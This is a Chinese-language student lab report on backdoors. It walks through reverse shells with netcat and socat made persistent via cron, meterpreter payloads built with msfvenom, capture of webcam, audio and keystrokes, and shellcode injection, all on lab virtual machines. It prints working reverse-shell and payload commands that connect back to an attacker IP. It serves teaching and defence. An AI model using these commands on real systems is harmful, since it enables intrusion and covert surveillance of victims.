网络与系统攻防技术
实验二 后门原理与实践
dky 20192414 袁浩然
实践目标
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验过程
实验一 使用netcat获取主机操作Shell,cron启动netcat自动连接任务
实验器材
- kali虚拟机(
攻击方
) - centos8虚拟机(
被攻击方
) - 系统自带netcat和cron
知识点
- nc的简单使用
- cron的简单使用
- vim远程使用(bug点)
实验步骤
-
ifconfig获得攻击方(kali)的IP地址。我们可以得知为
192.168.152.130
。 -
攻击方开启5310端口开始监听。
-
被攻击方将
/bin/sh
程序发往攻击方的5310端口
-
攻击方获得被攻击方的shell,测试通过。
-
攻击方输入
corntab -e
,开始启动任务。-
因为远程使用vim,vim会有一些限制。
-
经过多次尝试,最终确定使用以下方式可以成功写入并保存
-
写入代码:
* * * * * nc 192.168.152.130 5311 -e /bin/sh
。意为每分钟都对攻击方的5311端口发送/bin/sh
程序,即让攻击方使用shell。
-
-
攻击方输入
crontab -l
查看任务是否写入成功。
-
攻击方开启5311监听,一段时间后,连接成功!
实验二 使用socat获取主机操作Shell, 任务计划启动
实验器材
- kali虚拟机(
被攻击方
) - centos7虚拟机(
攻击方
) - 系统自带cron
- yum和apt安装的socat
知识点
- socat的简单应用
- cron的简单应用
实验思路
- 因为两方均为linux系统,任务计划启动使用cron。
- 大致原理与实验一相同
实验步骤
-
攻击方和被攻击方安装socat
- kali使用
apt install socat
- centos7使用
yum install socat
- kali使用
-
被攻击方设置cron
-
检查cron是否设置成功
-
攻击方进行连接,理论上每分钟都可以连接一次
实验三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
实验器材
- kali虚拟机(攻击方)
- centos7虚拟机(被攻击方)
- kali自带msf meterpreter6
- linux自带的netcat
知识点
- msf生成linux木马文件
- netcat传输文件
- msf检测连接
实验思路
- 使用msf生成linux/x86木马文件,使用nc进行传送。在被攻击端执行文件,攻击端进行监听并执行shell
实验步骤
-
测试一下是否有msf
-
msf生成linux/x86木马文件(lhost填写攻击方ip地址,即
192.168.152.130
)。指令全文为msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.152.130 lport=4444 -f elf -o shell
-
/root下生成shell文件。攻击端通过nc发送文件,被攻击端通过nc接收文件
- 这里出现了一个错误,被攻击端应当是文件接收到存入shell中,应当使用>而不是<,第一次命令shell文件里没有东西。
-
攻击端开启msfconsole进行监听
- 依次输入以下指令
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.152.130
set LPORT 4444
show options #确认
exploit
- 依次输入以下指令
-
被攻击端启动shell,攻击端显示如下图所示
-
成功!输入ls,成功回显
实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
实验思路
- kali虚拟机(攻击方)
- centos7虚拟机(被攻击方)
- windows11本机(被攻击方 关闭杀毒软件和防火墙)
- kali自带msf meterpreter6
- linux自带的netcat
- windows版netcat-1.11
知识点
- msf meterpreter6简单应用
实验思路
- 对已经连接的msf进行攻击
实验步骤
-
先对实验三中已经攻击的centos7虚拟机进行攻击
-
然后就很惊喜得看到啥都不支持,不支持
record_mic
不支持webcam_snap
不支持screenshot
。气得摔桌子了!!!
-
不得不换成windows11。连接成功!
-
dir一下正常
-
捕捉成功!
实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
实验器材
- kali虚拟机(攻击方)
- kali32位虚拟机(被攻击方)
知识点
- msf meterpreter6简单应用
实验步骤
-
使用上次实验生成文件pwn20192414_3
-
输入命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.152.130 LPORT=4445 -x pwn20192414_3 -f elf > pwn_yhr
生成有漏洞的文件pwn_yhr -
将文件发送给虚拟机
-
然后我测试了好几台虚拟机,各种离奇的bug。
-
最后在kali32中成功了!
-
成功连接
实验问题
例举你能想到的一个后门进入到你系统中的可能方式?
- 服务器上传文件的时候将恶意文件上传,自动执行即可控制系统。
(别问我怎么知道的,我一个项目的服务器就是被这么黑进去的)
- 向服务器POST文件,自动执行
- 下载盗版软件或者黄赌软件的时候自动安装(或者就在里面)
- P2P下载器(一生之敌)自动安装
- 不正规网站或黄赌网站自动下载
例举你知道的后门如何启动起来(win及linux)的方式?
- .c .py .php .jar .java 等通过相应的编程软件执行
- 对文件进行处理或打开的时候自动执行
- 打开盗版或黄赌软件的时候自动执行
- 利用黑客工具远程执行
Meterpreter有哪些给你映像深刻的功能?
- 可以轻易生成后门
- 可以调取摄像头权限和录音权限
- 可以获取shell(四舍五入等于完全控制电脑)
- 可以生成各种各样的后门,并且有些还可以逃过很多软件的杀毒
如何发现自己有系统有没有被安装后门?
- 360 火绒 救我狗命
- 系统入侵检测工具检测
- 摄像头和录音驱动不正常启动
- 任务管理器找到不正常进程或线程
- 电脑开机卡顿
- (后门一般很隐蔽)第六感
实验感想
- 本次实验做了好长好长时间,遇见了特别多的bug(苦不堪言)。例如meterpreter生成的后门程序在windows11上显示版本错误,无法启动。并且生成的shellcode会报段错误等等,但是经过很长时间的摸索和debug,终于完成了这个实验
- 本次实验另辟蹊径,试图被攻击方使用linux机器。但是最后结果不太理想,最后换回了windows。
- 本次实验很震撼,利用meterpreter生成的后门可以轻而易举得获得权限,知道使用者正在干什么,说什么,甚至还能录视频。
- 通过本次实验我知道了如何生成后门,如何使用后门,如果预防后门,受益匪浅。